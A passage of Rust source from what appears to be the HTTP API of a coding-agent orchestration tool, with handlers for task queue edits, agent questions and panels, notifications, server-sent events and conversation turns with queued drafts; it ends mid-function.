4539) -> ApiResult<Json<TaskView>> {
4540 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4541 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4542}
4543
4544#[derive(Debug, Deserialize)]
4546#[serde(deny_unknown_fields)]
4547struct EditBody {
4548 title: String,
4549 instruction: String,
4550 #[serde(default)]
4553 force: bool,
4554}
4555
4556async fn queue_edit(
4560 State(ui): State<Arc<Ui>>,
4561 Path(id): Path<String>,
4562 body: std::result::Result<Json<EditBody>, JsonRejection>,
4563) -> ApiResult<Json<TaskView>> {
4564 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4565 let mut judged: Option<(String, PathBuf)> = None;
4569 if !body.force {
4570 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4571 let (id, text) = (id.clone(), body.instruction.clone());
4572 let (seen, hits) = blocking(move || {
4573 let id = resolve_task(&queue, &id)?;
4574 let t = queue.get(&id)?;
4575 if text == t.instruction {
4576 return Ok((None, Vec::new()));
4577 }
4578 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4579 Ok((Some((t.instruction, t.repo)), hits))
4580 })
4581 .await?;
4582 if let Some((_, repo)) = &seen {
4583 let cfg = crate::config::Config::discover(repo, None)
4584 .ok()
4585 .map(|(c, _)| c);
4586 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4587 .await
4588 .map_err(|dup| {
4589 ApiError::conflict(dup.render(
4590 "Nothing was saved. If it is not a duplicate, repeat the request with \
4591 \"force\": true.",
4592 ))
4593 })?;
4594 }
4595 judged = seen;
4596 }
4597 let force = body.force;
4598 mutate(ui, id, move |t| {
4599 if !force && body.instruction != t.instruction {
4600 match &judged {
4601 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4602 _ => {
4603 anyhow::bail!("the task changed while it was being checked; repeat the request")
4604 }
4605 }
4606 }
4607 t.edit(body.title.clone(), body.instruction.clone())
4608 })
4609 .await
4610}
4611
4612async fn queue_done(
4620 State(ui): State<Arc<Ui>>,
4621 Path(id): Path<String>,
4622) -> ApiResult<Json<TaskView>> {
4623 let home = ui.home.clone();
4624 mutate(ui, id, move |t| {
4625 t.succeed();
4626 crate::daemon::supersede_prior_runs(t, &home);
4634 Ok(())
4635 })
4636 .await
4637}
4638
4639async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4647 blocking(move || {
4648 let id = resolve_task(&ui.queue, &id)?;
4649 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4650 ui.queue
4651 .remove(&id, in_flight, &ui.questions)
4652 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4653 Ok(StatusCode::NO_CONTENT)
4654 })
4655 .await
4656}
4657
4658async fn mutate(
4667 ui: Arc<Ui>,
4668 id: String,
4669 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4670) -> ApiResult<Json<TaskView>> {
4671 blocking(move || {
4672 let id = resolve_task(&ui.queue, &id)?;
4673 let _claim = ui.queue.claim(&id).map_err(|e| {
4678 ApiError::conflict(format!(
4679 "{e:#} - a daemon is running this task, so it cannot be \
4680 changed from here yet"
4681 ))
4682 })?;
4683 let mut task = ui.queue.get(&id)?;
4684 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4685 Ok(dup) => ApiError::conflict(dup.render(
4686 "Nothing was saved. If it is not a duplicate, repeat the request with \
4687 \"force\": true.",
4688 )),
4689 Err(e) => ApiError::bad_request_from(e),
4690 })?;
4691 ui.queue.put(&mut task)?;
4692 Ok(Json(TaskView::from(task)))
4693 })
4694 .await
4695}
4696
4697async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4705 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4706 tokio::spawn(async move {
4707 let mut ticker = tokio::time::interval(POLL);
4708 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4709 loop {
4710 ticker.tick().await;
4713 let state = Arc::clone(&ui);
4714 let revisions = tokio::task::spawn_blocking(move || {
4715 (
4716 state.queue.revision(),
4717 runs_revision(&state.runs),
4718 state.questions.revision(),
4719 state.talks.revision(),
4720 state.notices.revision(),
4721 state.lock_loop().rev,
4725 )
4726 })
4727 .await;
4728 let Ok(revisions) = revisions else { break };
4729 if last == Some(revisions) {
4730 continue;
4731 }
4732 last = Some(revisions);
4733 let payload = serde_json::json!({
4734 "queue_rev": revisions.0,
4735 "runs_rev": revisions.1,
4736 "questions_rev": revisions.2,
4737 "talks_rev": revisions.3,
4738 "notifications_rev": revisions.4,
4739 "loop_rev": revisions.5,
4740 });
4741 let Ok(event) = Event::default().event("change").json_data(payload) else {
4743 break;
4744 };
4745 if tx.send(event).await.is_err() {
4746 break;
4747 }
4748 }
4749 });
4750 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4751 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4752}
4753
4754fn runs_revision(runs: &FsPath) -> u64 {
4761 use std::hash::{Hash as _, Hasher as _};
4762
4763 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4764 .into_iter()
4765 .flatten()
4766 .flatten()
4767 .filter_map(|e| {
4768 let path = e.path().join("run.json");
4769 let mtime = path
4770 .metadata()
4771 .ok()?
4772 .modified()
4773 .ok()?
4774 .duration_since(std::time::UNIX_EPOCH)
4775 .ok()?
4776 .as_millis() as u64;
4777 let id = e.file_name().to_string_lossy().into_owned();
4778 Some((id, mtime))
4779 })
4780 .collect();
4781
4782 if entries.is_empty() {
4783 return 0;
4784 }
4785
4786 entries.sort_unstable();
4787 let mut hasher = std::hash::DefaultHasher::new();
4788 for (id, mtime) in &entries {
4789 id.hash(&mut hasher);
4790 mtime.hash(&mut hasher);
4791 }
4792 let h = hasher.finish();
4793 if h == 0 { 1 } else { h }
4794}
4795
4796fn run_ids(runs: &FsPath) -> Vec<String> {
4802 let mut ids: Vec<String> = std::fs::read_dir(runs)
4803 .into_iter()
4804 .flatten()
4805 .flatten()
4806 .filter(|e| e.path().join("run.json").is_file())
4807 .map(|e| e.file_name().to_string_lossy().into_owned())
4808 .collect();
4809 ids.sort_unstable_by(|a, b| b.cmp(a));
4811 ids
4812}
4813
4814fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4816 let path = runs.join(id).join("run.json");
4817 let body =
4818 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4819 let state: RunState =
4820 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4821 run::migrate_schema(state)
4826}
4827
4828#[must_use]
4836pub fn runs_unreadable(runs: &FsPath) -> usize {
4837 run_ids(runs)
4838 .into_iter()
4839 .filter(|id| read_run(runs, id).is_err())
4840 .count()
4841}
4842
4843fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4845 if runs.join(id).join("run.json").is_file() {
4846 return Ok(id.to_owned());
4847 }
4848 pick(run_ids(runs), id, "run")
4849}
4850
4851fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4853 if queue.path_of(id).is_file() {
4854 return Ok(id.to_owned());
4855 }
4856 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4857}
4858
4859#[derive(Debug, Serialize)]
4870struct QuestionView {
4871 #[serde(flatten)]
4872 question: Question,
4873 detail_md: Vec<md::Node>,
4874 waiting_on_agent: bool,
4884 holder: Option<&'static str>,
4888 deputies_enabled: bool,
4892}
4893
4894impl QuestionView {
4895 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4899 let base = md::ImageBase::QuestionPanel {
4900 id: question.id.clone(),
4901 };
4902 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4903 Self {
4904 detail_md: md::to_nodes(&question.detail, &base),
4905 waiting_on_agent: question.waiting_on_agent(),
4906 holder,
4907 deputies_enabled,
4908 question,
4909 }
4910 }
4911}
4912
4913fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
4915 let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
4916 crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
4917}
4918
4919fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4929 if !q.status.open() {
4930 return None;
4931 }
4932 if q.cwd.is_none() && q.deputy.is_none() {
4933 return matches!(
4934 q.node.as_str(),
4935 crate::conduct::NODE | crate::land::APPROVAL_NODE
4936 )
4937 .then_some("nobody");
4938 }
4939 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4940 Some(_) if q.deputy.is_some() => "deputy",
4941 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4942 Some(_) => "asker",
4943 None => "nobody",
4944 })
4945}
4946
4947async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4953 blocking(move || {
4954 Ok(Json(
4955 ui.questions
4956 .list()
4957 .into_iter()
4958 .map(|q| {
4959 let on = deputies_enabled(&ui.repo, &q);
4960 QuestionView::of(q, &ui.questions, on)
4961 })
4962 .collect(),
4963 ))
4964 })
4965 .await
4966}
4967
4968async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4971 blocking(move || {
4972 let items = ui.notices.list();
4973 let unread = items.iter().filter(|n| n.unread()).count();
4974 Ok(Json(
4975 serde_json::json!({ "unread": unread, "items": items }),
4976 ))
4977 })
4978 .await
4979}
4980
4981fn notice_error(e: anyhow::Error) -> ApiError {
4982 ApiError::not_found(format!("{e:#}"))
4985}
4986
4987async fn notification_read(
4989 State(ui): State<Arc<Ui>>,
4990 Path(id): Path<String>,
4991) -> ApiResult<Json<Notice>> {
4992 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
4993}
4994
4995async fn notification_dismiss(
4997 State(ui): State<Arc<Ui>>,
4998 Path(id): Path<String>,
4999) -> ApiResult<Json<Notice>> {
5000 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5001}
5002
5003async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5005 blocking(move || {
5006 let changed = ui.notices.mark_all_read()?;
5007 Ok(Json(serde_json::json!({ "marked": changed })))
5008 })
5009 .await
5010}
5011
5012#[derive(Debug, Default, Deserialize)]
5018#[serde(default, deny_unknown_fields)]
5019struct NewAnswer {
5020 choice: Option<String>,
5021 text: Option<String>,
5022}
5023
5024async fn question_answer(
5025 State(ui): State<Arc<Ui>>,
5026 Path(id): Path<String>,
5027 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5028) -> ApiResult<Json<QuestionView>> {
5029 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5030 let answer = match (body.choice, body.text) {
5031 (Some(c), None) => Answer::Choice(c),
5032 (None, Some(t)) => Answer::Text(t),
5033 (Some(_), Some(_)) => {
5034 return Err(ApiError::bad_request(
5035 "send either `choice` or `text`, not both",
5036 ));
5037 }
5038 (None, None) => {
5039 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5040 }
5041 };
5042
5043 blocking(move || {
5044 let id = resolve_question(&ui.questions, &id)?;
5045 let q = ui
5046 .questions
5047 .get(&id)
5048 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5049 if !q.status.open() {
5050 return Err(ApiError::conflict(format!(
5054 "question {} is already {}",
5055 q.short(),
5056 q.status.as_str()
5057 )));
5058 }
5059 let (q, ()) = ui
5063 .questions
5064 .update(&q.id, |r| r.answer(answer))
5065 .map_err(ApiError::bad_request_from)?;
5066 let on = deputies_enabled(&ui.repo, &q);
5067 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5068 })
5069 .await
5070}
5071
5072#[derive(Debug, Deserialize)]
5074#[serde(deny_unknown_fields)]
5075struct NewSay {
5076 body: String,
5077}
5078
5079async fn question_say(
5089 State(ui): State<Arc<Ui>>,
5090 Path(id): Path<String>,
5091 body: std::result::Result<Json<NewSay>, JsonRejection>,
5092) -> ApiResult<Json<QuestionView>> {
5093 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5094 blocking(move || {
5095 let id = resolve_question(&ui.questions, &id)?;
5096 let q = ui
5097 .questions
5098 .get(&id)
5099 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5100 if !q.status.open() {
5101 return Err(ApiError::conflict(format!(
5105 "question {} is already {}",
5106 q.short(),
5107 q.status.as_str()
5108 )));
5109 }
5110 let (q, ()) = ui
5113 .questions
5114 .update(&q.id, |r| r.say(body.body))
5115 .map_err(ApiError::bad_request_from)?;
5116 let on = deputies_enabled(&ui.repo, &q);
5117 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5118 })
5119 .await
5120}
5121
5122fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5124 if store.path_of(id).is_file() {
5125 return Ok(id.to_owned());
5126 }
5127 pick(
5128 store.list().into_iter().map(|q| q.id).collect(),
5129 id,
5130 "question",
5131 )
5132}
5133
5134async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5149 blocking(move || {
5150 let id = resolve_question(&ui.questions, &id)?;
5151 let Some(html) = ui.questions.panel_html(&id) else {
5152 return Err(ApiError::not_found(format!("question {id} has no panel")));
5153 };
5154 Ok(panel_response(
5155 "text/html; charset=utf-8",
5156 false,
5157 html.into_bytes(),
5158 ))
5159 })
5160 .await
5161}
5162
5163async fn question_asset(
5191 State(ui): State<Arc<Ui>>,
5192 Path((id, name)): Path<(String, String)>,
5193) -> ApiResult<Response> {
5194 if !crate::ask::valid_asset_name(&name) {
5197 return Err(ApiError::bad_request(format!(
5198 "`{name}` is not a usable asset name"
5199 )));
5200 }
5201 blocking(move || {
5202 let id = resolve_question(&ui.questions, &id)?;
5203 let asset = ui
5204 .questions
5205 .panel_asset(&id, &name)
5206 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5207 let Some(bytes) = asset else {
5208 return Err(ApiError::not_found(format!(
5209 "question {id} has no asset `{name}`"
5210 )));
5211 };
5212 Ok(panel_response(
5213 asset_content_type(&name),
5214 is_svg(&name),
5215 bytes,
5216 ))
5217 })
5218 .await
5219}
5220
5221fn asset_content_type(name: &str) -> &'static str {
5234 match extension(name).as_deref() {
5235 Some("png") => "image/png",
5236 Some("jpg" | "jpeg") => "image/jpeg",
5237 Some("gif") => "image/gif",
5238 Some("webp") => "image/webp",
5239 Some("svg") => "image/svg+xml",
5240 Some("css") => "text/css; charset=utf-8",
5241 Some("txt") => "text/plain; charset=utf-8",
5242 _ => "application/octet-stream",
5243 }
5244}
5245
5246fn is_svg(name: &str) -> bool {
5249 extension(name).as_deref() == Some("svg")
5250}
5251
5252fn extension(name: &str) -> Option<String> {
5254 name.rsplit_once('.')
5255 .map(|(_, ext)| ext.to_ascii_lowercase())
5256}
5257
5258fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5275 let mut res = (
5276 [
5277 (header::CONTENT_TYPE, content_type),
5278 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5279 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5280 (header::REFERRER_POLICY, "no-referrer"),
5281 ],
5282 body,
5283 )
5284 .into_response();
5285 if download {
5286 res.headers_mut().insert(
5287 header::CONTENT_DISPOSITION,
5288 HeaderValue::from_static("attachment"),
5289 );
5290 }
5291 res
5292}
5293
5294#[derive(Debug, Serialize)]
5300struct TalkView {
5301 #[serde(flatten)]
5302 talk: Talk,
5303 turn_bodies_md: Vec<Vec<md::Node>>,
5304 thinking: bool,
5312 context: talk::ContextUsage,
5316}
5317
5318impl TalkView {
5319 fn new(talk: Talk, thinking: bool) -> Self {
5322 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5323 Self::with_config(talk, thinking, cfg.as_ref())
5324 }
5325
5326 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5329 let context = talk::context_usage(&talk, cfg);
5330 let turn_bodies_md = talk
5331 .turns
5332 .iter()
5333 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5334 .collect();
5335 Self {
5336 turn_bodies_md,
5337 thinking,
5338 context,
5339 talk,
5340 }
5341 }
5342}
5343
5344#[derive(Debug, Serialize)]
5349struct TalkDetailView {
5350 #[serde(flatten)]
5351 view: TalkView,
5352 tasks: Vec<TaskView>,
5353 roster: Vec<RosterEntry>,
5356}
5357
5358#[derive(Debug, Serialize)]
5360struct RosterEntry {
5361 id: String,
5362 kind: AgentKind,
5363 runnable: bool,
5365}
5366
5367async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5372 blocking(move || {
5373 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5374 Ok(Json(
5375 ui.talks
5376 .list()
5377 .into_iter()
5378 .map(|talk| {
5379 let thinking = ui.is_thinking(&talk.id);
5380 let cfg = configs
5381 .entry(talk.repo.clone())
5382 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5383 TalkView::with_config(talk, thinking, cfg.as_ref())
5384 })
5385 .collect(),
5386 ))
5387 })
5388 .await
5389}
5390
5391#[derive(Debug, Default, Deserialize)]
5396#[serde(default)]
5397struct NewTalk {
5398 agent: Option<String>,
5399 repo: Option<PathBuf>,
5400}
5401
5402async fn talk_post(
5405 State(ui): State<Arc<Ui>>,
5406 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5407) -> ApiResult<impl IntoResponse> {
5408 let body = match body {
5412 Ok(Json(body)) => body,
5413 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5414 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5415 };
5416 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5417 let cfg = config_for(&repo).await?;
5418 let view = blocking(move || {
5419 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5420 let thinking = ui.is_thinking(&talk.id);
5421 Ok(TalkView::new(talk, thinking))
5422 })
5423 .await?;
5424 Ok((StatusCode::CREATED, Json(view)))
5425}
5426
5427async fn talk_detail(
5429 State(ui): State<Arc<Ui>>,
5430 Path(id): Path<String>,
5431) -> ApiResult<Json<TalkDetailView>> {
5432 blocking(move || {
5433 let id = resolve_talk(&ui.talks, &id)?;
5434 let talk = ui.talks.get(&id)?;
5435 let thinking = ui.is_thinking(&talk.id);
5436 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5437 .into_iter()
5438 .map(TaskView::from)
5439 .collect();
5440 let roster = Config::discover(&talk.repo, None)
5441 .map(|(cfg, _)| {
5442 cfg.agents
5443 .iter()
5444 .map(|a| RosterEntry {
5445 id: a.id.clone(),
5446 kind: a.kind,
5447 runnable: agent::installed(a),
5448 })
5449 .collect()
5450 })
5451 .unwrap_or_default();
5452 Ok(Json(TalkDetailView {
5453 view: TalkView::new(talk, thinking),
5454 tasks,
5455 roster,
5456 }))
5457 })
5458 .await
5459}
5460
5461#[derive(Debug, Default, Deserialize)]
5467#[serde(default, deny_unknown_fields)]
5468struct NewTalkTurn {
5469 text: String,
5470 attachments: Vec<String>,
5471}
5472
5473#[derive(Debug, Deserialize)]
5474#[serde(deny_unknown_fields)]
5475struct EditTalkPending {
5476 text: String,
5477 expected_text: String,
5478 expected_attachments: Vec<String>,
5479}
5480
5481#[derive(Debug, Deserialize)]
5482#[serde(deny_unknown_fields)]
5483struct ClearTalkPending {
5484 expected_text: String,
5485 expected_attachments: Vec<String>,
5486}
5487
5488async fn talk_say(
5500 State(ui): State<Arc<Ui>>,
5501 Path(id): Path<String>,
5502 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5503) -> ApiResult<(StatusCode, Json<TalkView>)> {
5504 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5505 if body.text.trim().is_empty() && body.attachments.is_empty() {
5506 return Err(ApiError::bad_request("say something"));
5507 }
5508
5509 let id = {
5510 let ui = Arc::clone(&ui);
5511 let asked = id.clone();
5512 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5513 };
5514 {
5518 let ui = Arc::clone(&ui);
5519 let id = id.clone();
5520 blocking(move || {
5521 let talk = ui.talks.get(&id)?;
5522 if !talk.status.open() {
5523 return Err(ApiError::conflict(format!(
5524 "talk {} is {} and takes no more turns",
5525 talk.short(),
5526 talk.status.as_str()
5527 )));
5528 }
5529 Ok(())
5530 })
5531 .await?;
5532 }
5533
5534 let attachments = {
5539 let ui = Arc::clone(&ui);
5540 let id = id.clone();
5541 let ids = body.attachments.clone();
5542 blocking(move || {
5543 ids.into_iter()
5544 .map(|att_id| {
5545 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5546 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5547 })
5548 })
5549 .collect::<ApiResult<Vec<talk::Attachment>>>()
5550 })
5551 .await?
5552 };
5553
5554 let start = {
5559 let ui = Arc::clone(&ui);
5560 let id = id.clone();
5561 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5562 };
5563 let turn_guard = match start {
5564 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5565 TalkTurnStart::Pending => {
5566 return Err(ApiError::conflict(
5567 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5568 ));
5569 }
5570 TalkTurnStart::Busy => {
5571 let (tx, rx) = tokio::sync::oneshot::channel();
5587 tokio::spawn({
5588 let ui = Arc::clone(&ui);
5589 let id = id.clone();
5590 let said = body.text.clone();
5591 async move {
5592 let written = blocking({
5593 let ui = Arc::clone(&ui);
5594 let id = id.clone();
5595 move || {
5596 let mut talk = ui.talks.get(&id)?;
5597 #[cfg(test)]
5602 if let Some(gate) = ui
5603 .busy_queue_gate
5604 .lock()
5605 .unwrap_or_else(PoisonError::into_inner)
5606 .take()
5607 {
5608 let _ = gate.reached.send(());
5609 let _ = gate.release.recv();
5610 }
5611 if let Err(error) =
5612 talk::queue(&mut talk, &ui.talks, &said, attachments)
5613 {
5614 if let Ok(fresh) = ui.talks.get(&id) {
5615 if !fresh.status.open() {
5616 return Err(ApiError::conflict(format!(
5617 "talk {} is {} and takes no more turns",
5618 fresh.short(),
5619 fresh.status.as_str()
5620 )));
5621 }
5622 }
5623 return Err(ApiError::from(error));
5624 }
5625 let claim = match ui.begin_queued_talk_turn(&id)? {
5636 Some(turn_guard) => {
5637 let (cfg, _) = Config::discover(&talk.repo, None)?;
5638 Some((talk.clone(), cfg, turn_guard))
5639 }
5640 None => None,
5641 };
5642 let thinking = ui.is_thinking(&id);
5643 Ok((TalkView::new(talk, thinking), claim))
5644 }
5645 })
5646 .await;
5647 let (view, reclaimed) = match written {
5648 Ok(pair) => pair,
5649 Err(e) => {
5650 let _ = tx.send(Err(e));
5655 return;
5656 }
5657 };
5658 let _ = tx.send(Ok(view));
5661 if let Some((talk, cfg, turn_guard)) = reclaimed {
5662 let talks = ui.talks.clone();
5663 drain_loop(talk, talks, cfg, id, turn_guard).await;
5664 }
5665 }
5666 });
5667 let view = rx
5668 .await
5669 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5670 return Ok((StatusCode::ACCEPTED, Json(view)));
5671 }
5672 };
5673
5674 let (talk, cfg) = {
5675 let ui = Arc::clone(&ui);
5676 let id = id.clone();
5677 blocking(move || {
5678 let talk = ui.talks.get(&id)?;
5679 let (cfg, _) = Config::discover(&talk.repo, None)?;
5680 Ok((talk, cfg))
5681 })
5682 .await?
5683 };
5684
5685 let talks = ui.talks.clone();
5686 let (tx, rx) = tokio::sync::oneshot::channel();
5701 tokio::spawn({
5702 let ui = Arc::clone(&ui);
5703 let talks = talks.clone();
5704 let id = id.clone();
5705 let said = body.text.clone();
5706 let mut talk = talk.clone();
5707 async move {
5708 let recorded = blocking({
5709 let talks = talks.clone();
5710 move || {
5711 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5712 if let Ok(fresh) = talks.get(&talk.id) {
5713 if !fresh.status.open() {
5714 return Err(ApiError::conflict(format!(
5715 "talk {} is {} and takes no more turns",
5716 fresh.short(),
5717 fresh.status.as_str()
5718 )));
5719 }
5720 }
5721 return Err(ApiError::from(error));
5722 }
5723 Ok((said.trim().to_owned(), talk))
5729 }
5730 })
5731 .await;
5732 let (text, mut talk) = match recorded {
5733 Ok(pair) => pair,
5734 Err(e) => {
5735 let _ = tx.send(Err(e));
5739 return;
5740 }
5741 };
5742 let queued = talk.clone();
5743 let thinking = ui.is_thinking(&id);
5744 let _ = tx.send(Ok((queued, thinking)));
5747
5748 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5749 tracing::warn!("talk {id} turn failed: {e:#}");
5753 }
5754 drain_loop(talk, talks, cfg, id, turn_guard).await;
5757 }
5758 });
5759
5760 let (queued, thinking) = rx
5761 .await
5762 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5763
5764 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5766}
5767
5768async fn talk_pending_resume(
5772 State(ui): State<Arc<Ui>>,
5773 Path(id): Path<String>,
5774) -> ApiResult<(StatusCode, Json<TalkView>)> {
5775 let id = {
5776 let ui = Arc::clone(&ui);
5777 let asked = id.clone();
5778 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5779 };
5780 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5781 return Err(ApiError::conflict(
5782 "a talk turn is already running; the queued draft will be handled by it",
5783 ));
5784 };
5785 let (talk, cfg) = {
5786 let ui = Arc::clone(&ui);
5787 let id = id.clone();
5788 blocking(move || {
5789 let talk = ui.talks.get(&id)?;
5790 if !talk.status.open() {
5791 return Err(ApiError::conflict(format!(
5792 "talk {} is {} and takes no more turns",
5793 talk.short(),
5794 talk.status.as_str()
5795 )));
5796 }
5797 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5798 return Err(ApiError::conflict("there is no queued draft to resume"));
5799 }
5800 let (cfg, _) = Config::discover(&talk.repo, None)?;
5801 Ok((talk, cfg))
5802 })
5803 .await?
5804 };
5805 let view = TalkView::new(talk.clone(), true);
5806 let talks = ui.talks.clone();
5807 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5808 Ok((StatusCode::ACCEPTED, Json(view)))
5809}
5810
5811async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5827 let live_set = Arc::clone(&turn.turns);
5828 let mut turn = Some(turn);
5836 loop {
5837 let observed = live_set
5841 .lock()
5842 .unwrap_or_else(PoisonError::into_inner)
5843 .queued
5844 .get(&id)
5845 .copied()
5846 .unwrap_or(0);
5847 let drained = blocking({
5848 let talks = talks.clone();
5849 move || {
5850 let result = talk::drain(&mut talk, &talks);
5851 Ok((talk, result))
5852 }
5853 })
5854 .await;
5855 let (next_talk, result) = match drained {
5856 Ok(drained) => drained,
5857 Err(e) => {
5858 tracing::warn!(
5859 status = %e.status,
5860 message = %e.message,
5861 "talk {id} could not start queued-text drain"
5862 );
5863 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5864 turn.take()
5865 .expect("held for the whole loop until released here")
5866 .release(&mut live);
5867 break;
5868 }
5869 };
5870 talk = next_talk;
5871 let drained = match result {
5872 Ok(Some(drained)) => drained,
5873 Ok(None) => {
5874 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5875 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5876 continue;
5877 }
5878 turn.take()
5879 .expect("held for the whole loop until released here")
5880 .release(&mut live);
5881 break;
5882 }
5883 Err(e) => {
5884 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5885 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5886 turn.take()
5887 .expect("held for the whole loop until released here")
5888 .release(&mut live);
5889 break;
5890 }
5891 };
5892 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5893 tracing::warn!("talk {id} turn failed: {e:#}");
5894 }
5895 }
5896}
5897
5898async fn talk_pending_clear(
5900 State(ui): State<Arc<Ui>>,
5901 Path(id): Path<String>,
5902 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5903) -> ApiResult<Json<TalkView>> {
5904 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5905 blocking(move || {
5906 let id = resolve_talk(&ui.talks, &id)?;
5907 let mut talk = ui.talks.get(&id)?;
5908 if !talk.status.open() {
5909 return Err(ApiError::conflict(format!(
5910 "talk {} is {} and takes no more turns",
5911 talk.short(),
5912 talk.status.as_str()
5913 )));
5914 }
5915 if !talk::clear_pending_if_matches(
5916 &mut talk,
5917 &ui.talks,
5918 &body.expected_text,
5919 &body.expected_attachments,
5920 )? {
5921 return Err(ApiError::conflict(
5922 "queued message changed; reload it before clearing",
5923 ));
5924 }
5925 let thinking = ui.is_thinking(&talk.id);
5926 Ok(Json(TalkView::new(talk, thinking)))
5927 })
5928 .await
5929}
5930
5931async fn talk_pending_edit(
5935 State(ui): State<Arc<Ui>>,
5936 Path(id): Path<String>,
5937 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5938) -> ApiResult<Json<TalkView>> {
5939 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5940 let (view, reclaimed) = blocking({
5941 let ui = Arc::clone(&ui);
5942 move || {
5943 let id = resolve_talk(&ui.talks, &id)?;
5944 let mut talk = ui.talks.get(&id)?;
5945 if !talk.status.open() {
5946 return Err(ApiError::conflict(format!(
